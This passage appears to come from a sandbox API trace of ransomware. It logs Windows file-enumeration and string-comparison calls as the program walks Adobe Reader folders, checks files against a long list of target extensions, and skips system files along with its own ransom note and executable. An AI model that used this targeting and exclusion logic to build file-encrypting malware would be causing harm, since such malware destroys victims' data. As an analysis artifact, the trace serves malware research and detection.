returned -1 [0274.033] lstrlenW (lpString=".csv") returned 4 [0274.033] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".cub") returned 4 [0274.034] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dae") returned 4 [0274.034] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dat") returned 4 [0274.034] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".db") returned 3 [0274.034] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.034] lstrlenW (lpString=".dbf") returned 4 [0274.034] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dbx") returned 4 [0274.034] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dc3") returned 4 [0274.034] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dcm") returned 4 [0274.034] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dcr") returned 4 [0274.034] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".der") returned 4 [0274.034] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dib") returned 4 [0274.034] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dic") returned 4 [0274.034] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".dif") returned 4 [0274.034] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0274.034] lstrlenW (lpString=".divx") returned 5 [0274.034] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".djvu") returned 5 [0274.035] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".dng") returned 4 [0274.035] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".doc") returned 4 [0274.035] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".docm") returned 5 [0274.035] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".docx") returned 5 [0274.035] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".dot") returned 4 [0274.035] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".dotm") returned 5 [0274.035] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".dotx") returned 5 [0274.035] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0274.035] lstrlenW (lpString=".dpx") returned 4 [0274.035] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".dqy") returned 4 [0274.035] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".dsn") returned 4 [0274.035] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".dt") returned 3 [0274.035] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.035] lstrlenW (lpString=".dtd") returned 4 [0274.035] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0274.035] lstrlenW (lpString=".dwg") returned 4 [0274.036] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0274.036] lstrlenW (lpString=".dwt") returned 4 [0274.036] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0274.036] lstrlenW (lpString=".dx") returned 3 [0274.036] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.036] lstrlenW (lpString=".dxf") returned 4 [0274.036] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0274.036] lstrlenW (lpString=".edml") returned 5 [0274.036] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0274.036] lstrlenW (lpString=".efd") returned 4 [0274.036] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0274.036] lstrlenW (lpString=".elf") returned 4 [0274.036] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0274.036] lstrlenW (lpString=".emf") returned 4 [0274.036] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0274.036] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.036] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0274.036] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0274.036] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.037] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0274.037] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua") returned 119 [0274.037] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua") returned 1 [0274.037] lstrlenW (lpString="uk-ua") returned 5 [0274.037] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="uk-ua") returned -1 [0274.037] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0274.037] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua") returned 119 [0274.037] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0274.037] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.038] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.038] lstrlenW (lpString="ui-strings.js") returned 13 [0274.038] lstrlenW (lpString=".1cd") returned 4 [0274.038] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0274.038] lstrlenW (lpString=".3ds") returned 4 [0274.038] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0274.038] lstrlenW (lpString=".3fr") returned 4 [0274.038] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0274.038] lstrlenW (lpString=".3g2") returned 4 [0274.038] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0274.038] lstrlenW (lpString=".3gp") returned 4 [0274.038] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0274.038] lstrlenW (lpString=".7z") returned 3 [0274.038] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.038] lstrlenW (lpString=".accda") returned 6 [0274.038] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".accdb") returned 6 [0274.038] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".accdc") returned 6 [0274.038] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".accde") returned 6 [0274.038] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".accdt") returned 6 [0274.038] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".accdw") returned 6 [0274.038] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0274.038] lstrlenW (lpString=".adb") returned 4 [0274.039] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".adp") returned 4 [0274.039] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai") returned 3 [0274.039] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.039] lstrlenW (lpString=".ai3") returned 4 [0274.039] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai4") returned 4 [0274.039] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai5") returned 4 [0274.039] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai6") returned 4 [0274.039] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai7") returned 4 [0274.039] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".ai8") returned 4 [0274.039] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".anim") returned 5 [0274.039] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0274.039] lstrlenW (lpString=".arw") returned 4 [0274.039] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".as") returned 3 [0274.039] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.039] lstrlenW (lpString=".asa") returned 4 [0274.039] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0274.039] lstrlenW (lpString=".asc") returned 4 [0274.039] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".ascx") returned 5 [0274.040] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0274.040] lstrlenW (lpString=".asm") returned 4 [0274.040] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".asmx") returned 5 [0274.040] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0274.040] lstrlenW (lpString=".asp") returned 4 [0274.040] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".aspx") returned 5 [0274.040] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0274.040] lstrlenW (lpString=".asr") returned 4 [0274.040] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".asx") returned 4 [0274.040] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".avi") returned 4 [0274.040] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".avs") returned 4 [0274.040] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".backup") returned 7 [0274.040] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0274.040] lstrlenW (lpString=".bak") returned 4 [0274.040] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".bay") returned 4 [0274.040] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0274.040] lstrlenW (lpString=".bd") returned 3 [0274.040] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.040] lstrlenW (lpString=".bin") returned 4 [0274.041] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".bmp") returned 4 [0274.041] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".bz2") returned 4 [0274.041] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".c") returned 2 [0274.041] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.041] lstrlenW (lpString=".cdr") returned 4 [0274.041] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".cer") returned 4 [0274.041] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".cf") returned 3 [0274.041] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.041] lstrlenW (lpString=".cfc") returned 4 [0274.041] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".cfm") returned 4 [0274.041] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".cfml") returned 5 [0274.041] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0274.041] lstrlenW (lpString=".cfu") returned 4 [0274.041] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".chm") returned 4 [0274.041] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".cin") returned 4 [0274.041] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0274.041] lstrlenW (lpString=".class") returned 6 [0274.042] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0274.042] lstrlenW (lpString=".clx") returned 4 [0274.042] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".config") returned 7 [0274.042] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0274.042] lstrlenW (lpString=".cpp") returned 4 [0274.042] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".cr2") returned 4 [0274.042] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".crt") returned 4 [0274.042] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".crw") returned 4 [0274.042] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".cs") returned 3 [0274.042] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.042] lstrlenW (lpString=".css") returned 4 [0274.042] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".csv") returned 4 [0274.042] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".cub") returned 4 [0274.042] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".dae") returned 4 [0274.042] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".dat") returned 4 [0274.042] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0274.042] lstrlenW (lpString=".db") returned 3 [0274.042] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.042] lstrlenW (lpString=".dbf") returned 4 [0274.042] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dbx") returned 4 [0274.043] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dc3") returned 4 [0274.043] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dcm") returned 4 [0274.043] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dcr") returned 4 [0274.043] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".der") returned 4 [0274.043] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dib") returned 4 [0274.043] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dic") returned 4 [0274.043] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".dif") returned 4 [0274.043] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".divx") returned 5 [0274.043] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0274.043] lstrlenW (lpString=".djvu") returned 5 [0274.043] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0274.043] lstrlenW (lpString=".dng") returned 4 [0274.043] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".doc") returned 4 [0274.043] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0274.043] lstrlenW (lpString=".docm") returned 5 [0274.043] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0274.043] lstrlenW (lpString=".docx") returned 5 [0274.043] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0274.043] lstrlenW (lpString=".dot") returned 4 [0274.043] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0274.044] lstrlenW (lpString=".dotm") returned 5 [0274.044] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0274.044] lstrlenW (lpString=".dotx") returned 5 [0274.044] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0274.044] lstrlenW (lpString=".dpx") returned 4 [0274.044] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0274.057] lstrlenW (lpString=".dqy") returned 4 [0274.058] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".dsn") returned 4 [0274.058] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".dt") returned 3 [0274.058] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.058] lstrlenW (lpString=".dtd") returned 4 [0274.058] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".dwg") returned 4 [0274.058] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".dwt") returned 4 [0274.058] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".dx") returned 3 [0274.058] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.058] lstrlenW (lpString=".dxf") returned 4 [0274.058] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0274.058] lstrlenW (lpString=".edml") returned 5 [0274.058] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0274.058] lstrlenW (lpString=".efd") returned 4 [0274.059] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".elf") returned 4 [0274.059] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".emf") returned 4 [0274.059] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".emz") returned 4 [0274.059] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".epf") returned 4 [0274.059] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".eps") returned 4 [0274.059] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".epsf") returned 5 [0274.059] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0274.059] lstrlenW (lpString=".epsp") returned 5 [0274.059] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0274.059] lstrlenW (lpString=".erf") returned 4 [0274.059] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".exr") returned 4 [0274.059] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".f4v") returned 4 [0274.059] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".fido") returned 5 [0274.059] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0274.059] lstrlenW (lpString=".flm") returned 4 [0274.059] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0274.059] lstrlenW (lpString=".flv") returned 4 [0274.060] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".frm") returned 4 [0274.060] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".fxg") returned 4 [0274.060] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".geo") returned 4 [0274.060] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".gif") returned 4 [0274.060] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".grs") returned 4 [0274.060] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".gz") returned 3 [0274.060] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0274.060] lstrlenW (lpString=".h") returned 2 [0274.060] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0274.060] lstrlenW (lpString=".hdr") returned 4 [0274.060] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".hpp") returned 4 [0274.060] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".hta") returned 4 [0274.060] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".htc") returned 4 [0274.060] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".htm") returned 4 [0274.060] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0274.060] lstrlenW (lpString=".html") returned 5 [0274.060] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0274.060] lstrlenW (lpString=".icb") returned 4 [0274.061] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0274.061] lstrlenW (lpString=".ics") returned 4 [0274.367] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0274.367] lstrlenW (lpString=".iff") returned 4 [0274.369] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0274.369] lstrlenW (lpString=".inc") returned 4 [0274.369] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".indd") returned 5 [0274.400] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0274.400] lstrlenW (lpString=".ini") returned 4 [0274.400] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".iqy") returned 4 [0274.400] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".j2c") returned 4 [0274.400] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".j2k") returned 4 [0274.400] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".java") returned 5 [0274.400] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0274.400] lstrlenW (lpString=".jp2") returned 4 [0274.400] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".jpc") returned 4 [0274.400] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".jpe") returned 4 [0274.400] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".jpeg") returned 5 [0274.400] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0274.400] lstrlenW (lpString=".jpf") returned 4 [0274.400] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".jpg") returned 4 [0274.400] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0274.400] lstrlenW (lpString=".jpx") returned 4 [0274.401] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0274.401] lstrlenW (lpString=".js") returned 3 [0274.401] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0274.401] lstrlenW (lpString="ui-strings.js") returned 13 [0274.401] lstrlenW (lpString=".love$") returned 6 [0274.401] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0274.401] lstrlenW (lpString="ui-strings.js") returned 13 [0274.401] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0274.401] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0274.401] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\ui-strings.js") returned 133 [0274.401] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.401] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0274.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) 